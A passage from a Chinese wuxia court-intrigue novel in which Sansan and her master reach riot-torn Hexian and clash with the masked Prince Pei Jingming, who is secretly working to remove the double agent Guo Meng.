那城门往日里都有城门郎值守,可现下哪还有什么城门郎,到处都蹲坐着衣不蔽体的难民,三三两两,拖家带口地蜷缩在一处,早已将城门脚下的地占了个遍,打眼望去如同附着墙根生出了数不清的灰草树丛,城内不知何处着了火,黑烟盘旋生升笼罩了整座县城。
三三牵着马匹,脚步像是被铅水灌满了僵在了原地,丝毫动弹不得。
她望着城门下的百姓,瞳孔里映着那遍地哀鸿。
“师傅,”三三艰涩地张口嘴,“这是……”
武不群牵着马站在她身侧,见三三面容苍白无比心下顿时了然。
他低声道:“殿下,战乱便是如此,哀鸿遍野、饿殍遍地、易子而食……都可以说是战乱最常见的情形。”
“城门外尚且如此,可想城内早已十室九空。”
三三抿了抿唇,往日里那一笑就扬起的嘴角绷成了一条直线。
“我们还说住客栈呢,哈哈哈,现下这种情况,随意找户无人的屋子住着便是了。”武不群见她心情低沉,打着哈哈岔开了话题。
三三却不为所动,直勾勾地望着那城门下的难民。
41. 抵达鹤县
武不群一手牵着马,探着头不断挨个查看街上的客栈,但他一路走一路看,从城门头都要走到城门尾了,愣是没发现一家能住人的客栈。他掉转马头,头上的草笠压低,刻意不去看街道两边上零零散散的难民。
“殿……三三,看样子客栈我们是住不了了。”
准备进城门之前,武不群就交代了她,不要给难民们吃食,给了一个就会有无数个向你伸手。
三三一手牵着马,一手扛着自己的小包袱,边走边念叨着武不群的交代,对上前乞讨的难民充耳不闻。
“师傅,不如我们找个没有人住的屋子……”三三扫了眼那些破烂不堪的客栈,终于忍不住开口建议了。
武不群哟了一声,吹了吹额头边上落下的碎发,笑道:“为师正有此意。”
于是师徒俩拐去了小道上,找了好半天,终于找到了一家没人但看起来尚可的屋子。
天已经黑完了,屋子不大,看起来像是三口之家,两间房,一间大一点,一间小一点,炕上的被褥黑得看不出原来的模样,乱七八糟得堆在靠墙的边上,角落边密密麻麻地织满了蛛丝,干净的手稍微摸一下桌子都能得到一掌的黑灰。三三手里拿着火折子,小心翼翼地查看这两间房。
前厅里,武不群手里握着个火折子,猫着腰在桌边东一榔头西一榔头地找油灯,结果翻来覆去地找了好一通愣是没找到,武不群不耐烦地嘿了一声,抬脚踹了一把旁边的凳子,结果那油灯不知何时掉落到了凳子内脚边,武不群这一踹,哐啷一声竟把那油灯给踹了出来。
“嘿,你竟然躺那呢你,真是让爷爷一通好找。”
武不群弯下身子将那油灯拾起放桌上点亮,又拔高声调冲在屋里头查看的三三喊了一嗓子:“三三,出来吃饭啦!”
武不群也不讲究,随手找了块黑漆漆的破布去院子前面的水井了打了桶水,弄湿了那破布之后三两下就把桌子上的灰给擦了个干净,动作可谓十分干脆利落。
“快点!再不来我可就自己吃完了!”武不群又拿着那湿哒哒的破布抹了一下两张凳子,抹完反手一扔,啪地一声,精准仍在了井边的砖头上,像晾衣服一样往地面上滴滴答答地落着水珠。
三三见那前厅被油灯照得虽然算不上亮堂,但好歹能看清人了,便呼地吹了一口气吹灭了自己的火折子。
“快来快来,这饼虽说已经冷了,但好歹还没硬邦邦的,快啃快啃。”武不群摊开自己的包袱,从里面拿出了几张饼,自己叼了一张,又递给刚刚坐下的三三一张。
三三接过那饼,下意识地捏了一下,饼边凉得快,越靠近里面凉得越慢,除了边上稍微有点硬,中间部分还是软的。
她放在嘴边咬了一口,眼前又突然浮现出了傍晚在街上看到那两个小乞丐为着半块馒头打得你死我活的场面。
“师傅,”三三咽下嘴里的饼,眼神里面有些许迷茫,她看向一旁吃得狼吞虎咽的武不群,“是不是我们结束鹤县的暴乱,城内那些难民就能重新过上原来安稳的日子了?”
武不群吃饼速度飞快,三三才刚啃了一口饼,武不群就已经啃完了大半张,他捏着剩下的饼皮对折了两遍,囫囵塞了满嘴,手还伸向包袱要继续去拿第二块饼。
三三看得叹为观止,怕他噎着,急忙从脚边放着的水桶里用木勺舀了一口水上来递过去给他。
武不群抬手挥了挥,那意思是不要。
三三也没拿开,低头又啃了一口饼,武不群这才红着脸梗着脖子道:“这水是刚刚用来擦桌子的!”
三三啊了一声,歪了歪头,借着那油灯这才瞧见那勺子里的水似是有点浑浊。
她尴尬地笑了一下,武不群冷哼了声,恶狠狠地咬了一口饼子,用力之大似是把那饼当作自己的不孝徒了。
嚼了好一会,武不群才回答她刚刚的问题,他的语气十分平和,听不出什么情绪:“也许吧,但也没那么容易,从这场暴乱中活下来的人,也许要花上十几年、几十年甚至一生的时间来治愈。”
他没说治愈什么,但三三很快就明白了,暴乱带走的不止原本安稳的家,还有亲人。
活下来是好事,也不是好事。
虽说现在已经快要开春了,但夜里还是寒冷无比,武不群摸去柴房想看看有没有能用的干柴,没成想还真有半屋子的柴火。
他抱着满怀的柴火回了前厅,三三动作麻利地接了过来生火,没一会,屋子里的寒气就逐渐被那烈焰驱散了,火苗蹿高,映得屋子极为亮堂暖和。
三三蹲坐在一旁,掌心向着柴火烘烤,没一会便觉得身上暖洋洋的。
武不群又去柴房搬了好一拨柴火回来,啪地一声扔在地上,微微喘着气道:“今夜就先凑合这么睡吧,有火不会太冷。”
三三嗯了一声,捡了几根粗壮一点的干柴扔进了火堆,火舌攀爬向前,劈里啪啦响个不停。
夜深露重,寒气逼人,山道上静谧不已,只闻阵阵马蹄声响。
“王爷,要歇息一会吗?”唐凌勒停了马,扭头去瞧戴着个黑狼面具的裴景明。
裴景明抬眼望了会天,声音穿过面具而出,与他平日里的声音截然相反,略微有些低沉深厚。
“不歇了,还有一个时辰就能到鹤县了,到了再歇息吧。”
唐凌趴在马背上取出水囊喝了口水,见自家主子一点不累的样子,顿时悲从心来,你不累我累啊!
裴景明双腿夹紧马腹,抽了几下马鞭,踩着一地银华步履不停。
天蒙蒙亮时,二人终于赶到了鹤县境内。
赶了一夜路,裴景明和唐凌身上尽是寒气,眼见前方有个驿站,唐凌说什么都要进去喝点热水。
可是鹤县都已经那样了,挨着鹤县的驿站哪还有什么人?
唐凌轻轻推开木门,只见地上躺着十来个人,空气中充斥着难闻的血腥味,令人闻之作呕。他往前走了几步,蹲在最靠近门口的那具尸体边,抬手轻按了一下尸体皮肤,又细细检查了对方的手掌、胳膊、肩背等地方,如此检查了好几具后才起身去向裴景明回话。
“大人,都是些农家人,一刀致命,想来是反贼所为。”
裴景明摘下脸上的面具,垂眉看了又看地上那些早已血迹干涸的尸体,半响重重吐出了口气。
“走吧,你的热水是喝不上了,先去鹤县的暗桩再做打算。”
“想喝热水?这又没有烧水的壶子,我怎么烧热水给你啊?”三三手里拿着跟棍子不停戳火堆里的红炭,昨夜那饼算不上硬
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,可今日再吃分明硬如石头,必须得烤软才能吃了。
武不群一早起来就感觉肚子胀气,从睁眼到现在已经嚷嚷着要喝热水不下八百遍了。
“师傅你以前外出也这样吗?是不是你胃不好啊?”三三忍不住问道。
武不群重重拍了拍包袱里剩下的饼子,恶狠狠道:“是这饼有问题!我以前从不这样的!”
三三转了转烤着饼的木棍,纳闷地歪了歪头:“那为何我吃就没事?”
武不群哼了一声,抱着胳膊闭上眼睛假寐。
他也就是那么一说,现下条件有限,他也不一定非要喝那热水,只是看三三一直愁眉苦脸的,只好想法子各种打岔撇开她那心思。
鹤县的事情要解决颇为棘手。
唐凌带着裴景明入了鹤县之后,第一时间便是去联系埋伏在此处的暗桩。那暗桩设立点是家铁匠铺,因着暴乱铁匠店里面的刀剑一开始被反贼抢走了一部分,暗卫们心知情况不妙连夜就把剩下的刀剑给转移了出去。
鹤县的铁匠铺子不多,就三五家,全都挨着城尾,几家铺子往日的生意都不错,唯有这一家,平日里甚是低调,无他,毕竟制刀打铁不是专门营生,偶尔接点制锅的活也只是为了避免落人口舌,毕竟他们真正的任务是搜集情报。
唐凌按着三长两短的节奏敲了敲门,过了好一会,门内才传出了句十分低沉的问话:“今日打烊不接活。”
唐凌单手背立,十分流畅地背出暗号:“不打刀不打剑,只打猎。”
“猎什么?”
“凡人不猎什么我便猎什么。”
唐凌的话落了没一会,铺子里面传来了哒哒的脚步声,门栓打开的声音十分明显,来人先是打开了半扇门露出了半张脸,甫一瞧清门外站着的人后,立即将门大开。
“属下参加大人!”
唐凌抬起了对方的胳膊,又暗中打量了下对方的胳膊手脚,见他身上没有伤痕,心里微微松了口气。
“进去说话。”
唐凌扯着那人的胳膊同自己一道往后退了两步,给裴景明让出了路:“大人请。”
裴景明戴着那黑狼面具,身姿卓越,虽然瞧着像是翩翩公子,可偏偏那周身的气势却像恶煞。
他嗯了一声,率先提步迈进了铺子。
铁匠铺里的暗卫们都聚集在一处,裴景明扫了一眼,约莫有二三十人,桌上还摆着些吃食,看来是刚用完早饭不久。
唐凌站在他身后半步,清了两声嗓子才开口道:“这位是王爷亲自任命的独孤大人,专为督办鹤县一事而来。”
“独孤大人好!”
“大人好!”
“大人好!”
……
暗卫们十分有眼力见,纷纷双手抱拳问起了好,声音不高,可一个接一个地问好,耳朵里就向钻进了虫子,一直嗡嗡嗡个不停。裴景明见状,立即微抬起手止住了剩下的问好。
他声音本来就低沉,此刻借着这面具透出来的声音却极为粗犷:“此处暗桩的负责人是谁?”
跟在唐凌身后的那个人上前了两步,双手抱拳垂头答道:“回大人,是我,属下名唤项平。”
裴景明微微点了点头:“嗯,说说鹤县的情况吧。”
42. 见冯士威
项平放下手贴在裤缝边,姿势挺拔如同站桩,一板一眼地开始了汇报:“回大人,鹤县的动乱始于十日前,因着梁荣的挑事,冯士威便率着乡亲们同他进行了一番打斗,梁荣手底下有个叫郭蒙的,是个双面探子,一边在梁荣那边挑唆生事,另一边又在冯士威那边火上浇油,如此,二者才打得极为猛烈,暴乱最开始只在梁荣和冯士威所在的村子,后来参与的人越来越多,就波及到了县里,结果就一发不可收拾了。”
“双方都在抢地、抢人、抢钱,不断扩大自己的势力,那鹤县县令是梁荣的丈人,梁荣撺掇着他一同行事,后因分赃不均,梁荣便杀了他。”
“外边几家铁匠铺里面的刀剑农具什么的都被反贼给抢光了,暗桩里面的被抢了一半,剩下的都被转移走了,每日暗探都会前往周边村子里面打探消息,并没有参与乱斗,暂无一人折损。”
裴景明抱着胳膊若有所思,看来这鹤县已经陷入了无主之境了,那梁荣是前朝人,郭蒙应该就是裴文谦派来的搅屎棍。
得先见见冯士威,试探一下他的立场才好行事。
“那冯士威的大本营现在何处?”裴景明问道。
项平低头细细在脑海里思索了一番:“冯士威的老家在黄牛村,自进了城,城中最为富庶的琼楼便被他们占据了,近日并无收到他们拔营的消息,应该还在那。”
裴景明捻着手指,思忖片刻后吩咐道:“项平,你亲自去一趟琼楼,就问冯士威一句,昔日的胳膊还好吗?若没好,城里的济民堂有药,他可以来找我拿。”
冯士威在西北军中以一身巨力闻名,但早年在战场上伤了胳膊,因耽误救治,落下了点病症,裴景明当年在军中搜集了不少好药,其中有一药油最能缓和他的痛处,此事知道的人不多。
项平双手抱拳应了声是,旋即转身就带了个人一同出任务去了。
裴景明扫了眼桌上的饭食,还冒着些许热气,他看了眼一侧的唐凌,后者立即心领神会,抬手招呼众人:“兄弟们应该还没吃完吧?快过来接着吃啊!”
裴景明稍微后退了几步,给众人让出了位置。
那些暗卫暗自打量着他,没人敢率先上前落座,裴景明又往后退了几步,想了想还是决定直接开门出去比较好。
唐凌见他出门,腿一迈就想追出去,他身侧的暗卫年纪看起来不大,约莫十八九岁,拿起桌上的两个馒头囫囵塞进了唐凌的怀里,示意他拿出去和那大人一道去。
唐凌拍了下他肩膀,笑道:“谢了啊小兄弟。”
裴景明出门也没走远,此处地处偏僻,没有难民会留在这,一是没吃食,二是不安全。
鹤县算不上富庶,但也绝称不上贫穷,往日里最为兴盛的是纺织布匹,但现在那沿街的布店早已被洗劫一空,牌匾都被人给砸了个乱七八槽,碎得不成样子。
城中最为富庶的地方现在被冯士威给占了,裴景明抬眼望去,上空一直盘旋着黑烟,若不是走水,便是一直在烧火,看来冯士威那群人吃得挺好的啊。
裴景明冷笑了声,身后跟来的唐凌不明所以,被他这声冷笑激得打了个冷颤,从脊背一直蔓延到了脖子,让他冷不丁打了个哆嗦,递过去的馒头在空中也跟着哆嗦了一下。
“大人,吃馒头吗?”唐凌稳着身子耸了耸肩,把那冷颤给耸了出去。
裴景明低头瞧着那白花花的大馒头,轻笑了声,还真是有几年没吃过这玩意了。
他将面具往上抬了点,露出下方的嘴巴,接过那馒头啃了起来。
“下次给我找面具,找个能遮住半张脸的就行,遮住全脸的,不仅改变了我的声音,吃东西也不方便。”
那铁匠铺子前面搭着个十分简陋的棚子,唐凌大马金刀地坐在凳子上,闻言忍不住呛笑出声:“是我考虑不周了,下次一定,下次一定寻个半脸面具,让大人好说话、好吃饭!”
裴景明懒得跟他计较,啃完手上的馒头之后又拿出腰边挂着的水囊,连着喝了两口才将那哽在脖子里面的馒头给咽了下去。
现在出去只会看到数不清乞食的难民,眼下也没有粮食可以救济,徒看着也只是伤心,无济于事,再者找人也不容易,只能安心候在此处等项平的消息了。裴景明踱步走到那棚子下,见唐凌吃完了,便抬起下巴仰了仰头:“你去跟里面的探子了解一下情况,后面好安排人手干活。”
唐凌将嘴边的馒头渣渣反手一把擦干净:“得嘞!”
好在裴景明干坐在棚子里的时间不多,那项平也不愧是一处暗桩的负责人,仅过了个把时辰就带着消息回来了。
项平见裴景明坐在棚子里边,上前弯腰行礼:“回大人,那冯士威说今日午时三刻便亲自去济民堂见您。”
裴景明嗯了一声,又问:“你是如何在这短时间内将话带到给他的?”
项平模样憨厚,绷着脸尚看不出来,一旦松了那口气,那憨样就挡不住。
他挠了挠脸:“我想着那冯士威手下都是些干农活的汉子,武艺不高,若是强闯恐怕不行,若是按规矩通报又费时间,但是飞檐走壁上了屋顶,将话写在信上用匕首给抛掷进冯士威屋子也还是挺简单的吧?我就这么做了,没想到那冯士威看了信后,激动不已,连连大喊了几声王爷,我还以为他发了癔症,但他很快又清醒了过来,许是知道我还没走,便高声喊了句午时三刻在济民堂见。”
他描述得远没有二七生动,可他那憨厚模样搭着他说的话愣是让人忍不住好笑,唐凌一出门就听到了这番话,没忍住直接噗嗤笑出了声。
裴景明淡淡看了他一眼,那眼神十分有威慑力,警告的意味十分明显,唐凌咧着的嘴一下就收了回去。
裴景明偏回了头,看了眼项平,模样虽然憨厚,但确实有点小聪明。
现下离午时也不远了,裴景明让他们按着之前的安排去刺探消息,带着唐凌率先去了那济民堂。
济民堂是间药材铺,虽然牌匾还在,可药柜里面的药材早已经被打劫完了,遍地狼藉,甚至还有些干涸的血迹。
唐凌在门外四处打量了下,见没人跟踪便迅速进去关上了门。
他们到时刚刚好午时,没成想午时一刻还没到呢,那冯士威就来了。
唐凌听着动静,靠在门上戳了个洞,眯起一边眼往外瞧,惊讶道:“大人,那冯士威是自己一人来的。”
裴景明背身站立着,淡淡道:“让他进来,你去门外守着。”
唐凌诶了一声,直起身子大大咧咧地开了门:“冯将军,请进吧!”
冯士威原本还在门口踌躇不前,但一见到唐凌他立刻定下了心。
唐凌迈步出门作势请他进来,冯士威往里看去只瞧见了一浑身黑袍的人,他侧头问唐凌:“不是王爷来吗?”
唐凌仿佛听到了天大的笑话一般,叉着腰夸张地嗤笑了两声:
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“王爷自伤了腿后就回了东京城,一直闭门养伤少理政事,你想在此处看到王爷不如做梦来得快。”
冯士威双眉竖起:“你!”
屋里那黑袍男子终于转过了身,只是脸上戴着面具,只露出了两只眼睛,根本看不清模样,看来是不欲他人知晓身份。
冯士威重重甩了下袖子,迈着大步三两下就进门了。
“阁下是何人?为何会知道我与元安王的旧事?”
裴景明懒得摘面具跟他哭诉往年,只冷淡道:“自是王爷告诉我的,此番鹤县之乱,王爷知道是你在领兵对抗反贼,故特意让我来问问你实情。”
冯士威是个大老粗,根本体会不出他这话的潜台词,直白道:“实情?什么实情?不就是王爷派人告诉我,让我组织当地的百姓对抗那反贼梁荣吗?”
“……王爷何时派人告诉你?又是派了何人?”裴景明露在面具外的两只眼睛紧紧盯着他。
以前在西北军中怎么没发现这人头脑竟然简单到这种地步呢?
冯士威纳闷道:“王爷派了郭蒙过来啊,那郭蒙不也曾经是西北军的吗?郭蒙手里拿着王爷的密信,我亲自看了,确实是王爷的字迹啊。”
原来是那个两面三刀的郭蒙,裴景明心底冷哼了一声。
“当初王爷为何要把他赶出西北军你不知道吗?你怎么还信他的话?!”裴景明实在忍不住了,说他头脑简单真是抬举他了。
冯士威被他这疾言厉色的呵斥给吓了一瞬,怎么感觉有点似曾相识啊……
“郭蒙说当时自己犯了点小错,这才让王爷给赶了出去,后来王爷觉得罚得重了,就让他一直在做情报传递的活……”冯士威越说,对面人周遭的气压就越低,最后他只能心惊胆战地闭上了嘴。
裴景明他性子直来直去,容易相信人,但怎么就这么容易被人骗呢?别说半点脑子了,就连一丁点都没有,看来这一身蛮力也是有代价的。
面具后的裴景明轻轻叹了口气:“冯士威,你还认王爷这个将帅吗?”
冯士威陡然瞪大了那双铜铃般的眼睛:“当然认!不认的话我怎么会听那郭蒙的话……”
“那好,你听着,王爷有令,第一,清点你手下的兵马,待朝廷派来平定的人到后,卸甲主动归顺;第二,将郭蒙暗中暗中处理了。”
冯士威呆在原地,一脸茫然,第一个指令他尚能理解,但第二个指令是为啥?郭蒙不是王爷的人吗?
裴景明看着他那呆样,实在忍不住了,上前两步轻轻拍了拍他那粗糙的脸。
啪、啪声十分之清脆且响亮,就像冬日里结冰的湖面突然咔嚓一下裂开了,露出了里面清澈无比的水流。
“那郭蒙不是个好人,搬弄是非不说,还假传王爷命令,这样的人你也信?”
冯士威这才缓缓回过神来,他颤抖着嘴唇,眼底充满了震惊、无措甚至还有懊悔。
“我、我被骗了?”
裴景明拍他脸的动作停了下来,想要垂下的手在半空中硬生生转了个弯,拍了拍他肩膀,语气一片沉重:“是的冯士威,但好在还能挽救,现在你得赶紧去处理了郭蒙。”
冯士威猛然低下头,抬手胡乱抹了一把脸:“属下这就去。”
裴景明一脸复杂地看着他敦实粗壮的背影直愣愣地去开门,但门栓尚且未落下,屋外唐凌急切的声音就传了过来:“大人!有刺客!别开门!”
43. 剑拔弩张
冯士威脸色一变,扭头朝身后的裴景明呵道:“大人莫怕!属下这就去捉了那刺客!”
说罢,他迅速卸掉门栓出去,又动作十分迅速地反手关上了门,从腰后取出了把匕首,大喊一声直接持刃冲了上去。
唐凌同那戴草笠的男人正打得不分胜负,眼见冯士威冲了进来,忍不住直接骂娘:“你脑子呢?我让你守着大人别出来你听不懂啊!”
冯士威持匕首格挡住了那草笠男人砍下来的刀,可那刀重不说,那挥刀的男人力气也大得很,冯士威一下被压得单膝跪地,额头青筋虬起,刀刃倾压匕首发出的铿锵声听得人心刺挠,草笠男人狞笑了声,手上的力度骤然加大,眼见就要砍到冯士威肩膀了,唐凌这才出剑往上挑了那刀。
冯士威粗声粗气地站了起来,与唐凌并肩而立,齐齐看向对面那草笠男人。
裴景明细细听着外边的动静,瞧那架势,应该只有一两人,唐凌一人对付足矣,冯士威出不出去都无妨。
他站久了腿有点酸,转身想找个椅子坐下时,脖子上就架住了把长剑。
“别动,也别喊。”身后持剑的是个女子,且声音非常熟悉,裴景明一听就知道了来人是谁。
剑身寒光四射,芒气逼人,裴景明稍微垂眼就能看出这是柄难得的好剑,果然不简单啊。
他也不害怕,隔着面具转回身正对着三三。
“姑娘,有话好说。”裴景明那粗犷的声音又响起了。
三三见他动了,贴着他脖子的剑尖又再进了一步,眼神充满了警告:“我说了,别动。”
裴景明唔了一声,十分老实地不再动了。
三三和武不群本来是打算直接去找梁荣的,可是路才走不到一半,就看见一个鬼鬼祟祟的粗壮汉子在城中晃荡,时不时就停下脚步观察周围,武不群看出了他是个行伍中人,猜想他是梁荣或者冯士威一方的人,师徒二人一合计,干脆跟了上来,看看这行为如此鬼祟的人葫芦里到底卖的是什么药。
武不群见门外守着个人,料想屋内定是有人在密谋,便在门外吸引了唐凌的注意,让三三绕到后院去探听。
三三的轻功很是了得,躲在院后完完整整听了个遍那面具男和冯士威的对话,愣是没被发现。
见冯士威出去了,三三这才现身拿住这所谓的“大人”。
三三见他老实了,伸长了手就想去摘他的面具,结果堪堪碰到面具边缘时,就被人反手给拐了一下。
三三右手持着的剑凌然一动,对方微微弯腰向后仰去,剑尖只削掉了对方的几缕发丝。
三三横剑一扫,裴景明原地转了个圈,脚步扎稳后又探手去夺三三的剑柄,三□□应迅速,收剑挡住对方探来的手,剑刃向着掌心,若是不及时收手下一瞬就会立马血流满掌。
裴景明要夺剑的动作只是虚晃一枪,他敏捷地收回手,左手不知何时拿出了根丝带,径直向三三身后绕去,三三还以为是匕首之类的,抬起左手就要挡,没成想被对方抓了个正着,精准围着她左手十分迅速地绕了几圈,随后用力向下一折再反狞胳膊靠在她腰后,手上加重力道施了点劲往下一压,三三顿时吃痛短促地“啊”了一声,但旋即立刻收声紧紧咬着牙关,想要反手挥剑去砍,结果剑举到半空就被对方直接一个抬脚给踢飞了。
“……你!”这还是三三头一次对人出手,没想到竟然这样惨败!
她不甘心地回头狠狠瞪了这面具男一眼,额头因为剧痛渗出了点细汗。
裴景明心情很好地笑了笑,本想压低声音笑话她一下,结果咧着的嘴角尚且扬着,猝不及防被三三抬脚钩住膝弯用力向后扳了身子,同时头狠狠朝面具男撞去。
哐啷一声巨响,□□摔下地面的声音十分之厚重,裴景明被她直接摔向了地面,三三躺在他身前,眼疾手快地屈起右手胳膊肘又是狠狠连续肘击了两下他胸膛!
裴景明痛得嗷了一声,但手里还紧紧攥着那丝带,三三左边胳膊动不了,只好朝着左边翻了个身,见身下的面具男还痛得没反应过来,迅速又敏捷地抬手摘下了他面具。
!!!
“怎么是你?!”三三迷茫又震惊,声音中不自觉劈了叉。
裴景明捂着疼痛不已的胸口,见面具被人摘了也不恼,继续躺在地上哼唧。
“是我怎么了?”
三三撑着身子想起来,结果裴景明还缠着她左手,起到一半又被拉了回来,她这来回撞击,让裴景明本就疼痛不已的胸口现下更是疼痛。
他叹了口气,率先松开了桎梏三三左手的丝带。
三三猛然甩开丝带,骨碌一把翻身就朝着刚刚剑摔下的方向爬去,她拿住剑柄起身,边挥剑指着还躺地下揉胸口的裴景明,边看了眼他那完好无损的双腿,冷冷道:“你竟然装瘸?”
裴景明已经是被人第二次拿着剑指脖子了,但他依旧没有流露出任何惧怕的神情,只顾着揉自己被肘击了几次的胸膛,须臾才坐起身来,慢条斯理地整了整手上的丝带,大大方方承认:“是的,我装瘸。”
三三无语凝噎,装瘸骗人是什么很好的事情吗?怎么还给他整出了理所当然的错觉。
“先不说你装瘸的事情,你为什么会在这?”三三不想知道他装瘸是为了什么,但他出现在这里肯定不会有什么好事。
裴景明将丝带重新塞回腰间,手撑着地板站了起来。之前坐在轮椅上还不觉得民间传闻他如何高大是什么事实,只道人都是吹都出来的,现下他站直了身子,三三的剑跟着他一路抬,竟然硬生生抬得比肩膀还高。怎么刚才他戴着面具的时候没发现?
裴景明轻轻弹了下她的剑尖,那向来温和的嘴角此刻流露出了些许少年意气:“你为什么在这我就为什么在这。”
“……”
“我刚刚可都听到了,你装什么呢?”三三抬眼冷冷道。
裴景明这下笑得更加灿烂了:“你都听到了还问我做什么?”
就是听到了所以才想知道那郭蒙到底是怎么回事!三三在心里不断咆哮,忍不住移动着剑尖不断靠近对方修长的脖颈,只要稍微用点力,裴景明的脖子就能见血。
“我是问,那郭蒙是怎么回事?”
冰凉的剑尖严丝合缝地贴着温热的皮肉,只要他回答的让三三不满意,三三稍微动一下手,他的小命可就交代在这了。
裴景明这下终于不笑了,上扬的嘴角缓缓落回往日的弧度,眼底暗藏的戏
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谑早已消失殆尽。
他慢悠悠地拉长了声调:“郭—蒙—啊——”
三三实在受不了他这故作卖关子的模样,控制着剑柄的力道十分有技巧,刹那间,剑尖刺破了皮肉,饮到了第一次亮剑的热血。
裴景明感到脖子一凉,有一瞬的刺痛,紧接着便感受到了血流往下淌的温热。
他忍不住嘶了一声:“我还没说完呢,你怎么就动手了?”
三三冷哼道:“你再不从速交代,下一次就不是那么点血了!”
裴景明再次掏出腰间的丝带想捂一下伤口,被三三一瞪,悬在半空的丝带静止不动了。
“那郭蒙假借着我的名义骗了冯士威,这话你听到了是吧,所以我来此处就是为了收拾那郭蒙。”
他面上一片情真意切,三三却是不信:“你身为一个王爷,为什么要亲自前来,直接吩咐底下人来处理了那郭蒙不就好了?你没说实话。”
裴景明悬着那丝带折了折,折成了个小方块就想往脖子上按,被三三轻轻横着剑尖又给警告了一番。
裴景明摊着双手道:“因为他打着我的名义,我当然得找出他背后的真正主使是谁。”
“那你为什么要吩咐冯士威暗中处理了他?杀了他还怎么找幕后指使?”
“他已然是弃子,问也问不到什么,不如快刀斩乱麻,省的他继续作乱鹤县。”裴景明的回答可谓合情合理。
三三还想问什么,哐啷一声,门突然就被撞飞了。
她定睛一瞧,原来是那冯士威被武不群给踹到了门上,他又是个高大壮实的身子,那门本来就被摧残过了,这一下撞来直接就给摇摇欲坠的大门撞翻了。
冯士威灰头土脸地抬起头,只见他多年不见、威名赫赫的元安王此时此刻竟然正被人剑架在脖子上动弹不得,且还被人割破了皮,脖子上渗出的血滴滴答答地往下淌,十分之醒目。
他陡然瞪大了双眼,大喊:“放开我家王爷!”
门外的唐凌闻言刺向武不群的剑都歪了一瞬,他侧头瞧去,只见那挟持他家王爷的赫然是当日那个三三!
武不群见他走神,抬脚就踹向他腹部,直接把唐凌也给踹进了门,随后十分之神气地吹了吹刚刚打斗时掉落的碎发。
眼下的情势搁唐凌和冯士威眼中,那就是他们家的主心骨被人给挟持了,他们作为下属是进也不是退也不是;而搁武不群眼里就是喜事了,他这徒儿真不错,还懂擒贼先擒王的道理嘛。
唐凌率先爬起身,手里握着长剑欲靠近三三,武不群哪能轻易让他得逞,横刀压住了他蠢蠢欲动的剑身。
冯士威眼眶眦裂,连滚带爬起身向前靠近了几步,三三呵斥道:“别过来!”
“再过来,我就杀了你家王爷!”她握剑的手随着呵斥的话稍稍有点偏离,原本紧紧贴着裴景明脖颈上的肉,眼下空出了两指的距离。
冯士威的脚步顿时跟被浆糊糊住了一样,上半身一直向前倾斜着,下半身却不敢动弹,姿态着实有些好笑。
裴景明这下终于能用他早已折好的帕子捂着伤口了,他挤着那两指距离摁上帕子,慢条斯理道:“江湖第一刀客,武不群,看来三三姑娘身份不简单啊。”
44. 再次合作
武不群是江湖第一刀客的身份很少人知道,裴景明能一眼认出主要还是因为武不群用的刀是鸿铭刀,刀长三尺,刀身自带天然的火焰流纹,凌厉非常。此刀锻造于刀庐,但凡江湖上有点名声的刀客,都会向刀庐求一把适配自己的刀,而刀庐每年只出一把刀,要想获得自己满意的刀,就得只身前往刀庐,在千百把刀的试炼中走向终点,这才有资格挑选真正属于自己的刀。
鸿铭刀是刀庐的镇庐之刀,当年被武不群挑走后曾在江湖引起了巨大轰动,饶是裴景明这种算不上剑客的剑客也都有所耳闻。
最为显眼的是,武不群的鸿铭刀上有一颗红色圆玉,据说是他死去妻子的遗物,因此,裴景明一眼就认出了武不群。
三三蹙了蹙眉,倒是没问他怎么认出的武不群,毕竟作为一个王爷,想要知道点什么江湖秘事并不难,她只继续刚刚没有得到答案的问题:“所以郭蒙的背后主使是谁?”
裴景明心里清楚三三也是为了鹤县之乱的事情而来,她所要解决的人应是那梁荣,而他要解决的人是郭蒙,某种程度上说,两人最后的目的都是一样的——解决鹤县之乱。
裴景明思忖片刻,最终还是告诉了她:“那郭蒙之前是西北军的,因为坏了事被我赶出了军营,之后不知道怎么跟裴文谦搭上了,那裴文谦便让他利用冯士威,假传我的意思,这才与梁荣打得不可开交。”
三三顿时恍然大悟,她看向依旧被糊住的冯士威,长剑指了指:“就是你吧?”
看起来憨厚呆傻,与旁边看起来一脸精明相的唐凌天壤之别。
冯士威张了张口,想不出为自己辩解的理由,很是自觉地闭上了嘴巴。
“对,冯士威虽然傻了点,但人还是忠厚的,”裴景明勉强给冯士威洗了洗白,“而且作战能力也很不错,只要解决了郭蒙,一切问题都好解决了。”
武不群一直抬刀压着唐凌的剑身,虽然没开口插话,但心思早已转了个千百遍。
这个王爷告诉三三这个是什么意思?难道是想和三三合作平了这鹤县之乱?
他徒弟果然不愧是他徒弟,有话直说的性子从小到大就没变过。
“你只要告诉我前一段就行了,我又没让你说后一段,你这是什么意思?”
裴景明弯起嘴角,拿下脖颈上的帕子,丝毫不在意那继续渗出的血,唐凌一眨不眨地紧盯着他那处伤口,确认道口不深,这才放下了悬在嗓子眼的心。
“三三姑娘是来解决梁荣的吧?”
三三持着剑依旧指着他,并没有礼尚往来地回答他的问题,毕竟手持剑刃的是她。
裴景明姿态十分放松,悠悠接着道:“你解决一方,我解决一方,甚好甚好啊。”
“看来温毓来时倒是能坐享其成了。”
三三抬眸仰起下巴,眉眼疑惑中带着不解,朝廷派来定乱的人竟然是温毓?先生不是说他并无实战经验吗?
这时武不群反手利落地收回了刀,食指一挑眼前坠落的碎发,颇为落拓不羁:“如此,大家都是为了一个目标嘛,虽然任务对象不同,但目的一样啊。”
“看来是不打不相识,不打不相识啊。”
说着他抬头看了眼三三,示意自己的徒弟赶紧收了剑过来。
一旁的唐凌心道,你刚刚那刀差点就要砍了我胳膊,现下说得倒是轻松。
三三心里也明白,裴景明并无恶意,不然就他刚刚缠绕那会,就不该是绕胳膊,而是绕脖子了。
她收了剑,抬脚就要往武不群那走,却被裴景明给拉住了手腕。
武不群顿时微微瞪大了眼睛,心中八卦之心熊熊燃烧,这是闹哪出?
三三猝不及防被他扯住手腕,又回想起了当日在百花楼也是这般,顿时卯足了劲甩开,没好气道:“说话就说话,做什么拉扯我?!”
裴景明装模作样地摸了摸那血迹干涸的帕子,嘴角勾起的弧度恰到好处:“我这不是想和三三姑娘再合作一番嘛。”
有什么好合作的?你不是都安排妥当了吗?三三狐疑地打量着他:“你想干嘛?让我去替你杀了郭蒙?”
